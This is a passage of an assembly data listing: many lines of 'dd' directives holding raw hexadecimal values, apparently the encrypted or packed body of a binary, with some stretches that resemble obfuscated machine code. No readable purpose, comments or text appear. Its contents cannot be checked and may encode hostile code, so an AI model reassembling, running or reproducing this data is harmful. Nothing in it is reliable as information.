0D8146250h, 0E9E36D5Bh dd 0FBF17E6Ch, 3CF62D7Eh, 4E3CB933h, 5D4BC804h, 6B59D616h dd 916AE7E5h, 0EA83F4CAh, 0B893B7D2h, 0FCF07D2Dh, 5FD97635h dd 9790AC23h, 0CD8C12CAh, 52828668h, 0B052E37Bh, 0BD3AB2C2h dd 167E08F6h, 7C0D9349h, 0B1785004h, 616314EAh, 2DB3BE26h dd 1DFFD59Ch, 13B473ECh, 5E15EB8Dh, 26B7D83Ah, 0F6CFEC3Dh dd 9512F27h, 0C497F84Ah, 0F3846E71h, 3300Bh, 0D1FE8000h dd 7C43ADCFh, 752ACEA6h, 60F0DEB4h, 679F8D33h, 57DDA852h dd 399E2FB5h, 0C28148B3h, 0B0BFFCBEh, 55149A3Ch, 0B94A92CBh dd 0FE9A19E3h, 2740F4B6h, 12B42839h, 0A2C1B68Ch, 0CF55C2FBh dd 0CDBB8249h, 482F0586h, 0C6C2FBA2h, 5329BA40h, 0B9493891h dd 9F17B93Fh, 764C13FDh, 0B70F4065h, 0C58C53D9h, 0C25389D7h dd 89508CD4h, 7618D49Bh, 0AE9ED9AFh, 0EA70C2FBh, 6856D364h dd 9A18E418h, 1F3DC3DDh, 309287Dh, 0A550000h, 1A6755D2h dd 0EF7765E2h, 0F68270EDh, 0C28B79F6h, 0E73C8D0Ah, 4DCA024Bh dd 5CD9135Fh, 68E5E76Eh, 75F2EA7Ah, 78FFD59Ch, 96B7D2E9h dd 41F330BBh, 49CAA067h, 5B47AE2h, 0EA0F683Eh, 79FFB7D2h dd 353E2CF3h, 0FE8F15B7h, 7F3C4937h, 0D2EACEA9h, 0CCBA40B7h dd 45C24884h, 2CCE0E57h, 0D2EA2056h, 9C391B7h, 4408C93Dh dd 43983A3Ch, 297h, 0C340BCC7h, 0D3508CD5h, 0E66399E5h dd 0F3706CF8h, 7847805h, 0B8C56DB6h, 89D9C744h, 99E8D653h dd 68F8E663h, 571EF774h, 0D2E8F681h, 0B23D18B7h, 0A06741F3h dd 9B2CA0B2h, 0BF4E0DD4h, 6498E6B6h, 4BBEEA5h, 0E0E31C99h dd 0DFCD53A1h, 2EB45696h, 624CC79Dh, 3B02B47Ah, 0D26A1265h dd 4E1604B7h, 0E082088Eh, 0D26A690Ah, 95541BB7h, 8B405A3Ah dd 0A8242E00h, 57A89122h, 6963ECDAh, 49B041C7h, 512A357Ch dd 1AC62h, 0F77DD700h, 42276ABCh, 0C290CEEDh, 5CFE840Ah dd 7FF8CE95h, 8FBE2700h, 0FA8A7809h, 0C87C3B02h, 3542186Ah dd 0D9BE268Dh, 0E54B9453h, 58D04DDEh, 4605CC24h, 5620D3A5h dd 0BBFBD796h, 8DEA536h, 0B474A130h, 0E0B658DEh, 0B7D92D93h dd 9AB708F1h, 51302F2Bh, 6498E4D2h, 0C3AB3CC2h, 27h, 87450EFCh dd 43CE5FE5h, 0A06741F3h, 74D10ACAh, 9C3EC4B4h, 0D91DADC6h dd 9DEED7B7h, 300B4580h, 0B79751h, 0A40C0000h, 4AB0B0E5h dd 8E1F5A16h, 7A1CD0A0h, 6709C38Ch, 3AB8EB79h, 354F8232h dd 0C0AE50D6h, 0F8CD4B0h, 27173E39h, 0C44AD0BEh, 99169C22h dd 270B12C3h, 7F7D03BEh, 0FED68A02h, 60646137h, 705EB476h dd 0C44AECE0h, 0C2B0773Eh, 149A3CB0h, 14C89583h, 0B8DCA997h dd 41BBC5AFh, 0D9319BBh, 0E902D741h, 3D923448h, 11Fh, 3BB8343Fh dd 4BC8044Dh, 5EDB115Dh, 6BE8E470h, 7FFCF07Dh, 303DF52Eh dd 1513FBCh, 11604ECBh, 0E0705EDBh, 0CF966FECh, 0D2E77EF9h dd 2AB590B7h, 7FFCF07Dh, 0D3A1C391h, 0AB212B19h, 0F3E1A825h dd 0C26A396Ah, 0E3FD5230h, 0A435BB5Dh, 0F5F77D19h, 0EFC58C53h dd 0BE273688h, 816F0086h, 2AFAC0F3h, 0A1A3D4AAh, 0ED73BE26h dd 8510782Eh, 560A82FFh, 0BCC9B77Eh, 87189E40h, 74B9EAC0h dd 0EF75B474h, 0AF2D3A28h, 7369FAE8h, 0DCF312D1h, 5ECDD709h dd 5E9EEAD8h, 0F97A50CDh, 8CB7D8FFh, 9D8B08C4h, 67551CD0h dd 0B153E418h, 725Ch, 0F8CE9500h, 0B7D8FF7Fh, 0DB7D7F06h dd 0D96AF055h, 0FF41F34Eh, 2EF57B71h, 7AE1BF58h, 2C904FB4h dd 0E03CA5h, 3B29CB51h, 4C3AB735h, 5026C804h, 763FE09h dd 40E4351Eh, 0D4085430h, 5F26AC32h, 5BECE071h, 6C60F0DEh dd 5C90DCCAh, 1EDEA795h, 0C365F67Ch, 670B5C45h, 0FAF27B19h dd 8D13D258h, 3410E75Bh, 32209D23h, 0B308AA22h, 3, 7D941F28h dd 6A58FAF2h, 5240E21Ah, 3927C903h, 2311B329h, 1200A25Ah dd 0F7E58745h, 0DFCD6F6Dh, 0C5B35597h, 129E40BCh, 81E38953h dd 4C3h, 4EB8300h, 5C241C87h, 83242489h, 68042404h, 5E90h dd 56243489h, 0C681E689h, 4, 4EE81h, 34870000h, 1C895C24h dd 0AC685024h, 58510C1Fh, 482D1F05h, 8BC689B5h, 0C4812404h dd 4, 4EC81h, 24890000h, 24048324h, 0EC815B04h, 4, 0B9240C89h dd 8, 3189D901h, 2434FF59h, 4C4815Bh, 8B000000h, 89512434h dd 4C181E1h, 83000000h, 0C8704C1h, 0FAE95C24h, 0ACFFFA2Dh dd 0B898D741h, 6545106h, 0E0FFC503h, 307FD0ADh, 5D099B9h dd 2C9800C4h, 6A9C3431h, 21354D61h, 0F36AA16h, 2CFAAA11h dd 1EE722EEh, 521B3675h, 5E9BE59Dh, 0AADD121h, 37761DE1h dd 2CCE4C70h, 3DB1DF56h, 2059C2B9h, 7020DB1Fh, 38725F69h dd 0B13EE853h, 0F232565Dh, 0F20102ACh, 0B1325655h, 0B13256ABh dd 0E85B7BD5h, 0EB4C7BEAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132545Dh, 0BB3581AEh, 0A3325257h dd 0A3325DABh, 863245D5h, 0F63256EBh, 0F6325677h, 0A2DBC3B8h dd 4E32565Dh, 0AA184362h, 46C4C7EFh, 22B09BCFh, 5EFC9F05h dd 0E162D316h, 58AE3627h, 0B13256BDh, 0CF0B56DEh, 31C77A71h dd 0B7DB4E92h, 0E73256ABh, 539F9202h, 954CB99h, 0BE536FBAh dd 0D160068Bh, 5803593Ch, 0B13256BCh, 0A85235C5h, 64BEE975h dd 0E04A8D3Fh, 3C16E15Ch, 0E9680537h, 51A70EE0h, 0BD0D08C4h dd 49DFD6FBh, 0B13250BEh, 150560ABh, 2CE194D8h, 65A737B4h dd 0EBF12408h, 0C49EC6E2h, 40AA2D57h, 9C760178h, 9882A535h dd 54EE1905h, 0E10359B4h, 0B13BBFB8h, 0A3AF5675h, 0EFABB659h dd 0BE675A62h, 0BE60069Fh, 0EB6A0C66h, 216A0CF3h, 353256D5h dd 4101F487h, 0ADBDB81Ch, 0EB99AC9Fh, 9576DF05h, 5BB836AAh dd 0F44DEF31h, 0AB670ECAh, 0B138BF49h, 0BAE856EAh, 5694579Dh dd 32006B2Eh, 584C97DDh, 0B13256BAh, 4AB8A37Bh, 666427B3h dd 0C2D0FB11h, 7E1CFFDAh, 5A083329h, 803D3727h, 3B6C013Dh dd 0E968376Ch, 0B51612DEh, 0B13BBFCBh, 0F3BF56D5h, 3FBBC6B9h dd 0D077EADAh, 0B13256E2h, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B1DA36EAh dd 0EB325675h, 0E597BC3Bh, 34BF5009h, 0B7619775h, 0E0C9D4DEh dd 33BF50FFh, 0B766800Eh, 0E0CDD463h, 0FFDA5021h dd 593256B3h, 0B1325626h, 0E0D9D469h, 0B1325003h, 776056ABh dd 0FF365750h, 0E35A00ECh, 4EAEFECDh, 0FF169F0Fh, 90B7DB5Bh dd 4E3407D3h, 0A8B7DF87h, 0DB3418ADh, 0A1323ED1h, 0F15A56EAh dd 0DB325578h, 0EBE2A9BAh, 82469656h, 0E0D9D427h, 33BB5003h dd 0B7660744h, 0B23F166Ch, 82CADDEAh, 0E398A5B5h, 0B15A52D0h dd 0D932564Dh, 0B13252AEh, 23CD563Dh, 0B77C50B2h, 8EB0DF8Fh dd 0D03402B8h, 0E0D9D3FEh, 0D1F150EEh, 0B7A3D49Ah, 0B13250E0h dd 33F55617h, 0B77C79DAh, 0B13246D5h, 3A52958Bh, 0E563BDCFh dd 0B10DD5BCh, 0CEB17529h, 0BA4654BEh, 0B52229D4h, 76B158DFh dd 76D8BDC1h, 0B13346ADh, 43D95675h, 0B222117Dh, 5A32565Dh dd 0E4F13747h, 5952BADCh, 0B13256ABh, 2BD8D78Fh, 3A3402BFh dd 0E56015C7h, 0B977DDBCh, 33B150D4h, 0B76604EDh, 73FB3753h dd 595256AFh, 0B13256D5h, 0FD8D7B0h, 3A340220h, 0E5606908h dd 0F2806D5Bh, 0C53402FCh, 3A0CDD6Ch, 0FE845974h, 0B075A0D4h dd 0B236236Ah, 9A30BDACh, 3A711563h, 0FF3D03D8h, 0C8BFDDA8h dd 8A341842h, 8A3B2473h, 3237210Ch, 78D9522Ch, 0B946994Eh dd 0A44BEB33h, 6D95013h, 595295CFh, 0B1325657h, 0A7D8D7F1h dd 3A340283h, 0E5606950h, 0B032EF73h, 710156BAh, 33B9FDAEh dd 0B7660491h, 0E371D4DEh, 725350FFh, 0B132BEB5h, 306856EAh dd 0E564169Fh, 0B0B790BCh, 0E7341859h, 0AE5F6FC6h, 7887A983h dd 3C34188Fh, 0E04F7750h, 0E3E2A9ECh, 31323E25h, 0B15856BAh dd 0E0D9E4A2h, 61CD50FAh, 0B15A0C0Fh, 0DB32562Bh, 8E80A9D5h dd 4E3402B8h, 0E4F137A5h, 5952BA31h, 0B132565Dh, 3FD8D7F4h dd 3A340201h, 29DA5EDEh, 0E43256D7h, 0E0C9C415h, 8A6F5021h dd 5F475ACFh, 0B130D0B5h, 73FB37AEh, 3A67565Fh, 4DF6D547h dd 59610183h, 0B13256EAh, 73D8D72Fh, 3A3402ECh, 0CCB95E28h dd 596401BEh, 0B1325660h, 904696A0h, 4E67AE5Eh, 0E563AD78h dd 0C4090B73h, 0D72022B6h, 56B248D6h, 312CDC5Eh, 2CDAA6B4h dd 5A3256ADh, 4D4FDF01h, 4ECC0B02h, 0EF6D0D8Ah, 78CE1331h dd 0E4325A9Fh, 75B1BA25h, 0E06401AFh, 497791F8h, 0B13256D5h dd 0E319D42Dh, 0B1335021h, 0C4B956BAh, 0AFB93055h, 0E0D9EC25h dd 0EEB95003h, 0C5E95DA3h, 0C4EC6DDAh, 0BD6FDDECh, 323E09FCh dd 5BD9427Dh, 312CDD3Bh, 353DBE55h, 0B1325699h, 0BEDBAD2Bh dd 0B1329351h, 5AC9D6EAh, 0B18ED27Ah, 4AB256BAh, 1DB659BFh dd 313256AEh, 353DB5ACh, 0B1325631h, 0D6C9D7B3h, 29B65909h dd 31325675h, 3054A65Dh, 0BEB259A6h, 0B132C72Ah, 41D1D657h dd 0BE42AD2Bh, 0B132D351h, 0AFB930EAh, 31CAB5F5h, 0F346EE41h dd 0C53768DDh, 9C0CD693h, 8FB26E23h, 4E0122C3h, 0E5607D57h dd 0AFB930ECh, 0D7CAB1F5h, 59B3AD3Bh, 3A547629h, 41D5D6B0h dd 30C9D731h, 0D121226Bh, 4AA0A980h, 0EC3402BBh, 0D0CE13FCh dd 0B0CE2B39h, 0BB93528h, 0B77C503Fh, 9AB0DD07h, 883402F9h dd 0C36A66E9h, 0C088DDBAh, 0E134185Ah, 0E319D431h, 8D0B5009h dd 8C4D0E9Eh, 0F4F546BCh, 0B1325453h, 7635BDD5h, 0B133AEAFh dd 0BB95675h, 0B7660751h, 6A3949D6h, 6F0949DAh, 0ECB95922h dd 494FD5A7h, 0B23122D5h, 0EEBBAEB7h, 0A5F5D571h, 7101B451h dd 0B13296B4h, 0AFB930AEh, 313E2BDCh, 0BB46BD50h, 31C2B555h dd 0A7462611h, 0B6F4649Eh, 0B0759153h, 0B132565Dh, 71B19125h dd 0B1A5BF52h, 765456ABh, 3B3A59D2h, 0BED1D6F4h, 39B29DF5h dd 0F6F557E5h, 0B132565Fh, 32F5DDAEh, 0C8D95097h, 210CD7CDh dd 313D2245h, 0BF47C6D4h, 4E4CD713h, 0B346C62Ah, 76B952B6h dd 33BF0945h, 0B7660410h, 23CD00FBh, 0B766072Ah, 0BB4696E1h dd 3BF9EFEh, 0B76604FDh, 3A6446B6h, 23CD0360h, 0B76607ACh dd 46FC7DF6h, 0CCB1080Ch, 0A1475712h, 0D7981FC5h, 0D7B75902h dd 0F78459F6h, 0AAD9FDAFh, 0B3CA2BD4h, 95445DEh, 1A549FDEh dd 353DEE8Ch, 73DFD13h, 5A9957FCh, 3A96A55Fh, 0EF6B0D69h dd 0B9F09F08h, 5DB903ABh, 0B132BEB5h, 306856EAh, 0E56B769Fh dd 0B977DDBCh, 0E0C1D4D4h, 785350FAh, 0E4325295h, 75B1BA20h dd 0B1DA362Dh, 0EB3256EAh, 0E873BCF4h, 0F4F550EEh, 0B13256A5h dd 4D7791AEh, 0B1325657h, 3A549698h, 9AB091CBh, 0B03402B8h dd 0D7325675h, 21A2AD3Bh, 4AB25628h, 0B9B65946h, 0F1325656h dd 0BEDBAD2Bh, 0B132A851h, 4AB216EAh, 45B6599Eh, 0F13256BAh dd 0D7C2B1DDh, 313DAD2Fh, 0B1D7D258h, 333156ABh, 0B77C7698h dd 53C9D6AAh, 0B1FCD27Ah, 4AB256BAh, 0DB659BEh, 0D73256AEh dd 5255ADD6h, 0B188D2A4h, 52B256D5h, 0C1C9D61Ah, 0B187D27Ah dd 3A5456BAh, 49D1D643h, 0C58AAD2Eh, 0B40CD610h, 8FB214DFh dd 310F22F8h, 89463ED4h, 9AB0A935h, 0D73402E8h, 56B248D6h dd 4AB33056h, 9546BED6h, 312CDDCDh, 3054A632h, 0C5F2D711h dd 4E673662h, 0E563AD28h, 0F4BB0B5Bh, 0CCB13752h, 343D57ABh dd 0B1325783h, 0B7A3EC5Eh, 3A6250A4h, 0E5607DF7h, 810E6FBCh dd 0A0B05905h, 3A3256AFh, 0FF1D27EDh, 33B906ADh, 0B76604FEh dd 0E9026AD3h, 0B1C8D97Ah, 0BB956BAh, 0B76607B2h, 0E0DDD42Dh dd 38265003h, 0A175DF9Ch, 9AB0DD85h, 3A3402B8h, 386A6669h dd 64DB5EE5h, 7632565Dh, 0B130AEEBh, 0B6D95657h, 0B0CA136Ch dd 3A3256D5h, 0E563B950h, 5EB0D573h, 0A53402EBh, 0F6BB61D4h dd 0B2CAD5BEh, 33F55A22h, 0B7660480h, 0B13256D7h, 49B15301h dd 326D2B77h, 0C532AEC7h, 0F7845946h, 0B1B2FFAFh, 0B7475657h dd 0B4DAD5EBh, 4E1F5E3Eh, 323256EAh, 0BAD9539Dh, 9AA8DDE9h dd 3A34020Fh, 186965AAh, 31325657h, 773142DEh, 0B2379656h dd 0E5607D68h, 0F6BB1E73h, 0BD75DFB2h, 69C500B6h, 69C59085h dd 0B23796D4h, 0E5607D29h, 0F6BB1ED3h, 0BD75DFE2h, 7101689Eh dd 19331030h, 0B21323DDh, 0B3F2D568h, 0B13257ECh, 0C5E95DABh dd 0EA8DCDCh, 3134056Eh, 72315796h, 383A1133h, 0A5D95A1Ah dd 4E178E59h, 9A325657h, 32EAA16Dh, 0F6BB5415h, 0BD75DFE2h dd 72FB378Dh, 32DEDDEFh, 5952AA99h, 0B13256AEh, 0E3D8D70Dh dd 3A3402F0h, 0E563BD6Fh, 32FB65ECh, 353D564Ah, 0B1325678h dd 0C4CD51D6h, 0B947A9A2h, 0B041BE07h, 0B44156ABh, 5A269156h dd 4D77DF08h, 4E3E238Ah, 86CD5ECFh, 0B1330AB5h, 26B059AEh dd 3A325657h, 0B60BAAEEh, 0B1BED4DAh, 0F4CD56EAh, 0B54DD589h dd 323A22BAh, 0C5325A22h, 93CBDACh, 4ECDA9A8h, 0B1325312h dd 5A99A5D5h, 0A14DD529h, 323D2270h, 0C43446C5h, 0F6B9174Ch dd 0BD6DDDAAh, 0F6B915BCh, 0BD6DDDAFh, 0F6B96F3Eh, 0BD6DDDEEh dd 0C43A094Eh, 0E6B904AFh, 0A1677D59h, 3A2603ADh, 6B195A08h dd 0EB37BD28h, 0F6B9443Eh, 0BD6DDDEEh, 3236095Eh, 3B315351h dd 0B77C4D20h, 0B222292Dh, 9A735722h, 0B06EDF72h, 4ECDEED4h dd 0B48BA915h, 42325675h, 4E64BF11h, 7853A9A2h, 0E432466Ch dd 75B1BADCh, 0B1DA3657h, 0EB3256D5h, 0ED0FBC6Bh, 0BB95021h dd 0B7660751h, 8EB19F6Eh, 20B659AEh, 3A325657h, 0BD47A9ACh dd 0E13A232Ah, 0B132DE02h, 32372575h, 53D9427Dh, 4ECE13D4h dd 0C4CD5ADBh, 5905A95Fh, 0B13256DAh, 0F4B93CA7h, 0C3356F16h dd 4D77A916h, 0B1362939h, 0CEB15E29h, 0B34656A2h, 4E8A58BCh dd 8CDA954h, 0B13256D0h, 7AD9FD19h, 0B42229F6h, 0CEB159CEh dd 0A047504Dh, 0B575DDEFh, 5A3E09DCh, 0B575DDB6h, 5A3E095Eh dd 0B575DDF9h, 9A3E09FEh dd 5AB152E5h, 0A14DD558h, 0F03323ADh, 0EDBB8F7Ch, 4E8A57AAh dd 8CDA92Ah, 0B13256EFh, 36D9FD86h, 0B9F09FDBh, 5DB9035Dh dd 0B977DDCEh, 0C33E136Ch, 0A1776DA3h, 5ACA55A2h, 0B1D9AFE9h dd 0BDF09F14h, 5DB903BAh, 0D1CE92DEh, 0B1325646h, 5BB30C57h dd 0B7660BB8h, 6A019FE6h, 3ACE0B63h, 0E563BDCFh, 0B10DD5BCh dd 8EB13229h, 32372351h, 40D94290h, 0B1362928h, 0CEB15EA1h dd 0B34656E6h, 0F4CD5E9Eh, 0A5F5D546h, 0CEB18DB6h, 0BE4653BEh dd 0B72229D4h, 3A7347DEh, 0EEB95292h, 3A2FBDE6h, 0EEB95232h dd 3A21BDB6h, 0EEB9521Ah, 0B56D7DA2h, 3237BDD4h, 0C43146D4h dd 681917D4h, 0B0330A63h, 4ECDA9CDh, 0B137EF45h, 1AC1565Dh dd 3A53C145h, 72FBAA12h, 596107FBh, 0B13256D5h, 2FD8D7B0h dd 3C340228h, 0E5605520h, 0B156EE5Bh, 63DA56AEh, 3A325657h dd 5AF36DA0h, 0B57955C1h, 0A64097D1h, 8A221D76h, 5A30247Bh dd 5A26BD5Fh, 29A8DBBCh, 4E34028Eh, 3C3ABD78h, 0E5EEE84Fh dd 0EAE1A9ECh, 0E4F10E2Ch, 0B1DABA31h, 0EB32565Dh, 0ECDFBC2Fh dd 3C525003h, 0E5605511h, 0B977DDD3h, 0F4B95163h, 0B575DF79h dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh dd 0B77C52D4h, 0C2283EADh, 4CDFE62h, 0B77C7273h, 0CC13D3D0h dd 61CD50FFh, 9EB8DB05h, 0E03402F9h, 3C68862Ah, 0E5607968h dd 0F1855973h, 0E3EADDB6h, 0B2686752h, 0F4B0DF6Dh, 0D0341867h dd 0E85251C3h, 0 dd 5EEA815Ah, 5206545Eh, 3045828Bh, 6DB9064Eh, 0F741C64Eh dd 39055AE1h, 25000030h, 7FFFFFFFh, 30458289h, 595A064Eh dd 0E85251C3h, 0 dd 8EEA815Ah, 8B06545Eh, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h dd 8BC3595Ah, 8DC08BC0h, 54549F85h, 66D0FF06h, 858DC18Bh dd 6545E57h, 18F18589h, 858D064Eh, 6545E87h, 20618589h dd 0B8064Eh, 0B000000h, 47840FC0h, 0C6000000h, 4E040185h dd 0DF685606h, 0FFA9C530h, 4E24C9B5h, 21858D06h, 0FF06517Dh dd 8D8D50D0h, 64E1409h, 68046A51h, 1000h, 103DB5FFh, 0D0FF064Eh dd 103DBD8Bh, 7F03064Eh, 0F8C7813Ch, 0C7000000h, 202447h dd 9D8D6000h, 64E129Dh, 0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h dd 234CF6h, 602B8D8Dh, 6A0654h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0FA7095C3h, 66B593D2h dd 2CBBC781h, 2B058D89h, 0BD31064Eh, 64E2675h, 2B6585C7h dd 5FF8064Eh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0C7ED59C3h, 4E065D85h, 6, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 7D702E98h, 1E022442h, 10E8E4B1h, 0D4000000h, 0DD58AF41h dd 10EFBA9Fh, 132D0011h, 66CA3EA8h, 0E95AC28Bh, 0Ch, 0D9E0171Fh dd 0F1DAD586h, 9313DEF1h, 10FDB5FFh, 9D8B064Eh, 64E07B1h dd 0F9995FFh, 6A064Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 483733C3h, 6A640Fh, 1A5995FFh, 0C08B064Eh dd 0D0960DEBh, 8A96DA68h, 21EB2073h, 8D7ED2E7h, 5460FA8Dh dd 6E906h, 6610000h, 0E3D5397Fh, 1890Fh, 89F50000h, 4E2B058Dh dd 0E2C48006h, 2B6585C7h, 58BC064Eh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 3D326EC3h dd 7FC63B63h, 8B669FF9h, 0EE9C7h, 3E4B0000h, 0E5161D8Bh dd 0B194D460h, 4D6EB782h, 65D85C7h, 64Eh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 55F899C3h, 11679D0Bh, 0BACF8CADh, 31D15CA2h, 0EE5B5FFh dd 8D31064Eh, 64E2109h, 0F9995FFh, 850F064Eh, 5, 2FF28166h dd 0FF006A72h, 4E1A5995h, 0EBC08B06h, 8920210Eh, 15C4DD67h dd 58C2F396h, 0E846F4B6h, 0Eh, 12E17381h, 946A4D52h, 204E74FFh dd 8A0F9A7Ch, 0Fh, 0AE9h, 0B77F2400h, 54503BC5h, 59BE598Ah dd 10E9h, 0EF61D00h, 2B6D59FBh, 19BBFD81h, 0E3AC4D54h dd 0FDC1810Eh, 0B600006Fh, 1BD6BFCBh, 0B70F0000h, 8931FFD7h dd 4E15619Dh, 81665E06h, 8147DAF0h, 99D317EEh, 81F7B732h dd 97D4CAF6h, 9E90Ah, 0E4D60000h, 47BB9398h, 8113B49Ah dd 0C90651EEh, 8156F839h, 3E24A5D0h, 0F018F21h, 18Ch, 0E983F900h dd 49F9B601h, 5B84949h, 81081A70h, 1EFh, 0A6850F00h, 1FFFFFFh dd 4E31B9B5h, 0CE806h, 47C40000h, 2F19E4DDh, 14083773h dd 0BD8BB20Bh, 64E327Dh, 1FBF6658h, 0CEC08159h, 89000070h dd 4E28D18Dh, 1C0CBB06h, 11E80000h, 0E8000000h, 304E84E9h dd 13681F32h, 3E9D2075h, 0B142D8E5h, 4CF68166h, 30FF5F14h dd 251D958Bh, 8B59064Eh, 4E110595h, 92E98106h, 8964D0B6h dd 4E20DDBDh, 0E9F18106h, 895B4346h, 4E0C55BDh, 0CEC18106h dd 8B4BD59Ah, 4E0319BDh, 0BD035106h, 64E2BBDh, 9D29008Fh dd 64E0CFDh, 3CACE881h, 0C0813E13h, 3E133CA8h, 1EB83F5h dd 0FFA8850Fh, 0EF81FFFFh, 6E656A1Eh, 301108EBh, 4E95h dd 0D9E90000h, 6800000Ah, 65463D9h, 0FAE959E9h, 651168FFh dd 4FE90654h, 68FFFAE9h, 65466B5h, 0FAE945E9h, 67AD68FFh dd 3BE90654h, 68FFFAE9h, 6546936h, 0FAE931E9h, 6ACA68FFh dd 27E90654h, 68FFFAE9h, 6546BB1h, 0FAE91DE9h, 4AB898FFh dd 0C0420F99h, 3FCD850Fh, 0BB5F048Eh, 34E6800Ah, 6053EA83h dd 0D9631406h, 52DC8D8Bh, 0CC560713h, 0D68783h, 8DEC9958h dd 8D1F1CC8h, 906EE1E4h, 34D27D07h, 40EE1383h, 0B2131C6Dh dd 953D88D4h, 0D2ABE8D6h, 47D01B1Ch, 2ED3DB88h, 2A64CAE3h dd 37F55AC7h, 430D32h, 0FB640000h, 4B0AB206h, 1CD2F6C7h dd 0EE2C38C2h, 18A1EC62h, 5C09C870h, 8FE32D09h, 0B0DD9C44h dd 63E32D09h, 0A4CD8C18h, 0FE32D09h, 70FAEDA9h, 0FE9420E2h dd 32384F23h, 8096CD57h, 6520ACF7h, 100h, 906EE1BCh, 10065EE8h dd 0F571FB84h, 3B149E27h, 93BC46CFh, 9407C677h, 0AF1A9CEBh dd 0DE4AD8A0h, 0C5DCD520h, 103FC97Ah, 37C169F2h, 1863EC2Eh dd 7CA6D043h, 65F1CF49h, 4AC0CF5h, 2D3CA545h, 95AE4E3h dd 3ECC830Dh, 40F13CB2h, 0DF8731D0h, 3ECF7837h, 74FEE32Dh dd 58E42FDBh, 8701F1B0h, 0B03AE57Dh, 7018639Fh, 7E3D80E6h dd 0E9FDF7D1h, 0BD6EB904h, 95E93333h, 0B567F524h, 0A64FAE37h dd 0BA000008h, 2DB76896h, 0AB35E624h, 2AB465A7h, 0A22CDD39h dd 0CA556C4h, 36E48275h, 0B369FB85h, 2DED7802h, 0A15DF27Ch dd 0B3721AF0h, 1CC88C8Ah, 0E1FEA739h, 1AEF9785h, 0CA83CA29h dd 19D8807Eh, 1A9C836Ch, 17C8549Fh, 28E7C28Dh, 1A9C837Fh dd 0DD2D24AEh, 0E9BE0954h, 0B7C4F0CCh, 0FCA4EF9Bh, 7A88CA54h dd 9C6892BBh, 6AF6411Ah, 0AA6911B9h, 1A9C68FDh, 7E3DE530h dd 1A9C68D1h, 842DB904h, 0AB206FBh, 0D2F6C74Bh, 711FF41Ch dd 3B2AD569h, 0AF6BFA84h, 0A933DB64h, 14D35FBDh, 0E32DEE6Fh dd 5356F056h, 323933CEh, 0DA99h, 6EE1F000h, 0E97D0790h dd 0CB0453A9h, 92DDEF97h, 0BAD74A09h, 5DF21A9Ch, 7348F0A1h dd 85442D0Bh, 1A9C0BD8h, 0C5EBC00Bh, 35BF4B3Dh, 0F363EC1Ah dd 7802AA0Eh, 55A029D9h, 0F78399CBh, 40FFA74Fh, 1A9CCB17h dd 30EF7BC6h, 1CD2EABAh, 660EB601h, 2EECFEA7h, 0C6852DE3h dd 0E32EEC99h, 2AB6014Ch, 0C0F80979h, 5A185918h, 68B3E57Eh dd 2C5918C0h, 0DFE9FDA2h, 0D6600894h, 58E28A90h, 0CE7F0BF7h dd 0A4F82244h, 0B567A03Dh, 6E54B33Ch, 0F2000007h, 65EFA05Eh dd 0E36D1EECh, 62EC9D6Fh, 0DA641501h, 44DD8E8Ch, 6EACBAADh dd 0EB3133BDh, 65B5B03Ah, 0D9252AB4h, 0EBAA5228h, 1CC88A42h dd 0C336DF71h, 0A1AE2B39h, 4691DC65h, 5CE672BDh, 0D55F100Ah dd 5AE48C7Ah, 36810AF8h, 0E150F9AAh, 0B4A066Eh, 7D01D57Ch dd 7701A932h, 630CCBDAh, 921A9C9Eh, 2873FC47h, 0C13D129Ch dd 5761A010h, 91A2F0AFh, 4E991CD2h, 0F6143BC5h, 36F59D45h dd 0E32E8E09h, 5BE571BCh, 0CE8D16F4h, 6468AD84h, 0B6AF39E1h dd 0D472D864h, 0EC2A39C3h, 28C1863h, 5800B14Dh, 0FA8397CEh dd 0B69923AFh, 5200BF48h, 2468F0D1h, 222D80BEh, 18B33E4h dd 0A02AB664h, 0BCA53AFh, 970F2E9Bh, 3DB0CE34h, 9B43F412h dd 3EC75511h, 72DD67F3h, 0D9630B94h, 0BB068F8Dh, 7642BF2Fh dd 0FD9F0FCEh, 519C6EBEh, 8AD130A0h, 82FEA2CBh, 0BB065176h dd 0D8665413h, 4A9570CCh, 0B27119C1h, 7F530485h, 0A261ED38h dd 7F5304F0h, 0A4663BE3h, 888E96B9h, 0DE78DE6Ah, 0A3E8F4C9h dd 